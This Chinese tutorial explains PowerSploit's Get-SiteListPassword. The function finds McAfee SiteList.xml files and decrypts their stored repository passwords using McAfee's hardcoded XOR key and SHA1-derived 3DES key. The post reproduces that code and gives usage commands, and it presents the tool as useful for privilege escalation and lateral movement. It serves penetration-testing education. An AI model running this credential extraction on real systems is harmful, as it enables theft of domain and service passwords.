PowerSploit PowerUp 实战:使用 Get-SiteListPassword 解密 McAfee SiteList.xml 中的明文凭据
2026/9/23 3:29:41 网站建设 项目流程
  • 渗透测试
  • 网络安全

【免费下载链接】PowerSploit

PowerSploit - A PowerShell Post-Exploitation Framework

项目地址:https://gitcode.com/gh_mirrors/po/PowerSploit
点击查看免费下载

导读

Get-SiteListPassword是 PowerSploit 提权模块(Privesc/PowerUp)中的一项凭据挖掘功能,它能够在 Windows 主机上自动搜索 McAfee 杀毒软件遗留下的SiteList.xml配置文件,并利用 McAfee 固化的静态加密密钥还原其中保存的明文密码。本文以 docs/Privesc/Get-SiteListPassword.md 为骨架,结合 Privesc/PowerUp.ps1 的源码实现与 Tests/Privesc.tests.ps1 的测试用例,完整讲解该命令的用法、输出字段、解密原理与实战边界,帮助你掌握这一基于“杀毒软件自身配置弱加密”的 Windows 本地提权与横向移动凭据采集技巧。

功能概述:从 SiteList.xml 中恢复明文密码

McAfee 企业版(ePO/杀毒客户端)会把更新源、仓库(Repository)、HTTP 更新站点等连接配置写入SiteList.xml文件,其中往往包含连接远程仓库所需的用户名与密码。这些密码在 XML 中可能以明文保存,也可能以 Base64 编码并使用 McAfee 静态密钥加密。

Get-SiteListPassword的作用正是:在目标主机上定位所有SiteList.xml,提取其中的凭据字段,并对加密字段执行解密,最后以结构化对象输出明文密码。该功能源自 Jerome Nokin(@funoverip)的 Python 解密方案,由 @harmj0y 移植为 PowerShell 版本,随 PowerSploit 的 Privesc 模块一同发布,无任何外部依赖(Required Dependencies: None)。

语法与参数

官方文档给出的命令语法非常简单:

Get-SiteListPassword [[-Path] <String[]>]

参数说明

参数类型位置是否必填说明
-PathString[]1可选,指定SiteList.xml文件路径或包含该文件的文件夹路径;支持管道输入(ByValue)

源码中的参数定义如下(Privesc/PowerUp.ps1):

[Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateScript({Test-Path -Path $_ })] [String[]] $Path
  • 参数带有ValidateScript校验,传入的路径必须真实存在(Test-Path),否则会直接报错;
  • 支持管道按值(ByValue)传入路径,可以配合Get-ChildItem等命令批量指定多个 XML 文件。

默认搜索路径

不指定-Path参数时,函数会依次扫描以下四个目录(源码见 Privesc/PowerUp.ps1),递归查找其中所有名为SiteList.xml的文件:

  • C:\Program Files\
  • C:\Program Files (x86)\
  • C:\Documents and Settings\
  • C:\Users\

对应源码:

$XmlFilePaths = @('C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\')

随后对每个目录执行Get-ChildItem -Recurse -Include 'SiteList.xml',并对命中的文件逐个调用内部解析函数。查找过程中出现的访问错误会被-ErrorAction SilentlyContinue静默吞掉,因此即使部分目录无权限也不会中断整个扫描。

使用方法与输出示例

方式一:全盘默认搜索(最简单)

不传任何参数,直接扫描上述四个默认目录:

Get-SiteListPassword

官方文档给出的典型输出如下:

EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== UserName : Path : Products/CommonUpdater Name : McAfeeHttp DecPassword : MyStrongPassword! Enabled : 1 DomainName : Server : update.nai.com:80 EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== UserName : McAfeeService Path : Repository$ Name : Paris DecPassword : MyStrongPassword! Enabled : 1 DomainName : companydomain Server : paris001 EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== UserName : McAfeeService Path : Repository$ Name : Tokyo DecPassword : MyStrongPassword! Enabled : 1 DomainName : companydomain Server : tokyo000

可以看到,同一台机器上可能存在多个站点条目(HTTP 更新站点McAfeeHttp、UNC 仓库ParisTokyo等),它们共享同一把加密密钥,因此加密密文相同、解密结果也相同。

方式二:指定文件或目录

当已知SiteList.xml的具体位置(或想扫描某个特定目录)时,使用-Path

# 指定单个文件 Get-SiteListPassword -Path "C:\Program Files (x86)\McAfee\SiteList.xml" # 指定一个文件夹,函数会递归查找其中的 SiteList.xml Get-SiteListPassword -Path "C:\Users\Public\Documents" # 通过管道传入多个文件 Get-ChildItem -Path C:\ -Filter SiteList.xml -Recurse -ErrorAction SilentlyContinue | Get-SiteListPassword

指定-Path后,函数会跳过默认目录扫描,直接把传入的路径交给内部解析逻辑处理(源码 Privesc/PowerUp.ps1)。

输出对象详解

函数声明了[OutputType('PowerUp.SiteListPassword')](Privesc/PowerUp.ps1),每条站点凭据都会以自定义 PSObject 输出,其类型名被显式标记为PowerUp.SiteListPassword(Privesc/PowerUp.ps1),便于下游脚本按类型过滤或格式化。

每个对象的字段及含义如下:

字段含义来源
Name站点名称(如McAfeeHttpParisXML 中站点节点的Name属性
Enabled站点是否启用(1/0XML 中站点节点的Enabled属性
Server服务器地址,优先取ServerIP,否则取ServerXML 节点字段
Path路径,优先取ShareName,否则取RelativePathXML 节点字段
DomainName登录使用的域名XML 节点字段
UserName登录用户名XML 节点字段
EncPassword原始密文/原文(Base64 或明文)XML 节点字段
DecPassword解密后的明文密码Get-DecryptedSitelistPassword计算

ServerPath的“优先取”逻辑见源码 Privesc/PowerUp.ps1:

$Server = if ($_.ServerIP) { $_.ServerIP } else { $_.Server } $Path = if ($_.ShareName) { $_.ShareName } else { $_.RelativePath }

解密原理:McAfee 静态密钥的弱点

这是本功能最核心的技术点。McAfee 的SiteList.xml密码加密看似使用了标准密码学原语,但其密钥与密钥派生方式是硬编码、可公开获取的,因此任何拿到密文的人都能离线还原明文。解密流程实现在内部函数Get-DecryptedSitelistPassword中(Privesc/PowerUp.ps1),整体分为三步:

第一步:Base64 解码 + 固定 XOR 还原

密文先做 Base64 解码,再与一个 16 字节的静态 XOR 密钥逐字节异或:

# static McAfee key XOR key LOL $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 $I = 0; $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] }

第二步:派生 3DES 密钥

3DES 密钥由字符串<!@#$%^>的 SHA1 哈希值加上 4 个0x00字节组成(共 24 字节,恰好构成 3DES 的三段密钥):

$3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('<!@#$%^>')) + ,0x00*4

第三步:ECB 模式 3DES 解密并去除填充

$3DES.Mode = 'ECB' $3DES.Padding = 'None' $3DES.Key = $3DESKey $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length) # 以第一个 0x00 字节为界截断填充 $Index = [Array]::IndexOf($Decrypted, [Byte]0) if ($Index -ne -1) { $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) } else { $DecryptedPass = $Encoding.GetString($Decrypted) }

解密采用ECB 模式、无填充(None),输出结果后以第一个0x00字节作为明文终止位置截掉尾部填充。源码注释中LOLTROLOL等字样也暗示了这套方案在安全设计上的随意性。

需要强调的是:并非所有 SiteList.xml 中的密码都是加密的。内部解析函数Get-SitelistField(Privesc/PowerUp.ps1)会检查密码节点的Encrypted属性:

if ($_.Password.Encrypted -eq 1) { # decrypt the base64 password if it's marked as encrypted $DecPassword = if ($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} } else { $DecPassword = $PasswordRaw }
  • Encrypted="1":视为加密密文,走上述解密流程;
  • 其他情况(如Encrypted="0"):DecPassword直接等于 XML 中的原始值。

源码级调用链与解析流程

从 Privesc/PowerUp.ps1 开始,整个功能的调用链如下:

Get-SiteListPassword ├── 确定目标文件集合 │ ├── 有 -Path:直接使用传入路径 │ └── 无 -Path:扫描 C:\Program Files\、C:\Program Files (x86)\、C:\Documents and Settings\、C:\Users\ │ └── Get-ChildItem -Recurse -Include 'SiteList.xml' ├── Get-SitelistField(解析单个 XML) │ ├── [Xml]$SiteListXml = Get-Content -Path $Path │ ├── 校验 InnerXml 是否包含 "password" 字样(快速筛选) │ ├── 遍历 SiteLists.SiteList 的所有子节点 │ └── 依据 Encrypted 属性决定是否解密 │ └── Get-DecryptedSitelistPassword(执行 XOR + 3DES 解密) └── 输出 PowerUp.SiteListPassword 对象

几个值得注意的实现细节:

  1. 快速筛选:解析前先用$SiteListXml.InnerXml -Like "*password*"判断文件里是否含password关键字,不含则跳过,避免无谓的解密尝试(Privesc/PowerUp.ps1);
  2. 逐节点容错:遍历站点节点时,单个节点解析失败只会输出 Verbose 信息并继续处理下一个节点(Privesc/PowerUp.ps1);
  3. 错误静默:函数开头恢复并保存了$ErrorActionPreference,扫描目录时的错误被SilentlyContinue抑制,保证在无权限目录下也能完成扫描;
  4. 必要程序集:解密前加载System.SecuritySystem.Core程序集(Add-Type -Assembly),以使用SHA1CryptoServiceProviderTripleDESCryptoServiceProvider(Privesc/PowerUp.ps1)。

测试用例佐证

仓库的 Pester 测试 Tests/Privesc.tests.ps1 为该功能提供了两条用例,构造了一份包含三种站点类型的 XML 进行验证:

  • HTTP 站点(McAfeeHttp)Encrypted="1"的加密密码jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==,断言解密结果为MyStrongPassword!,且UserNameDomainName为空;
  • UNC 仓库(Paris)Encrypted="0"的明文密码Password123!,断言DecPasswordEncPassword相同;
  • UNC 仓库(Tokyo):加密密码同上,断言解密结果同样为MyStrongPassword!,并校验Servertokyo000)、PathRepository$)、UserNameMcAfeeService)、DomainNamecompanydomain)等字段。

两条用例分别覆盖默认目录扫描(不传-Path)与指定路径解析Get-SiteListPassword -Path "${Home}\SiteList.xml")两种调用方式,测试前后通过Out-File写入、Remove-Item清理临时 XML,确保隔离。

模块加载方式

Get-SiteListPassword已随 Privesc 模块发布(导出声明见 Privesc/Privesc.psd1)。按 Privesc/README.md 的说明,将整个 Privesc 文件夹放入 PowerShell 模块目录后即可使用:

# 导入模块 Import-Module Privesc # 查看模块内所有命令 Get-Command -Module Privesc # 查看本命令帮助 Get-Help Get-SiteListPassword

默认模块路径:

  • 用户级:$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules
  • 计算机级:$Env:windir\System32\WindowsPowerShell\v1.0\Modules

该模块要求 Windows PowerShell 2.0 及以上(见 Privesc/Privesc.psd1),且属于 Windows 平台功能,需在 Windows 主机上运行。

实战定位与使用边界

Get-SiteListPassword在 PowerUp 的职责划分中属于“Miscellaneous Checks”类(见 Privesc/README.md 与 docs/Privesc/index.md)。从攻防视角看,它的价值体现在:

  • 本地提权辅助:McAfee 相关服务常以高权限运行,若能拿到SiteList.xml中保存的本地/域账户密码,可能直接复用为提权凭据;同一密码常被重复使用;
  • 横向移动凭据:输出中的DomainNameUserNameServer(仓库服务器)字段可进一步指向内网中的高价值目标;
  • 无依赖、低痕迹:函数完全基于 .NET 加密库实现,不落地额外文件、不依赖外部工具,适合在受限环境中使用。

需要注意的使用边界:

  1. 该功能只能在 Windows 上运行,且依赖 McAfee 产品在主机上留下过SiteList.xml(若从未安装过 McAfee 则无结果);
  2. 解密依赖 McAfee 静态密钥这一公开弱点,对已加固/更新密钥机制的新版本可能不适用,使用前应先确认目标文件的密码确实以Encrypted="1"标记并采用旧式加密;
  3. 未加密(Encrypted="0")的密码字段直接以明文返回,无需解密即可读取。

作为同类凭据挖掘功能的延伸,Privesc 模块中还提供了Get-CachedGPPPassword(组策略首选项缓存密码)、Get-ApplicationHost(IIS 应用池/虚拟目录密码)、Get-WebConfig(web.config 加密字符串)等命令,可在 Privesc/README.md 中查看完整清单,组合使用能覆盖更广的本地凭据面。

  • 渗透测试
  • 网络安全

【免费下载链接】PowerSploit

PowerSploit - A PowerShell Post-Exploitation Framework

项目地址:https://gitcode.com/gh_mirrors/po/PowerSploit
点击查看免费下载

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询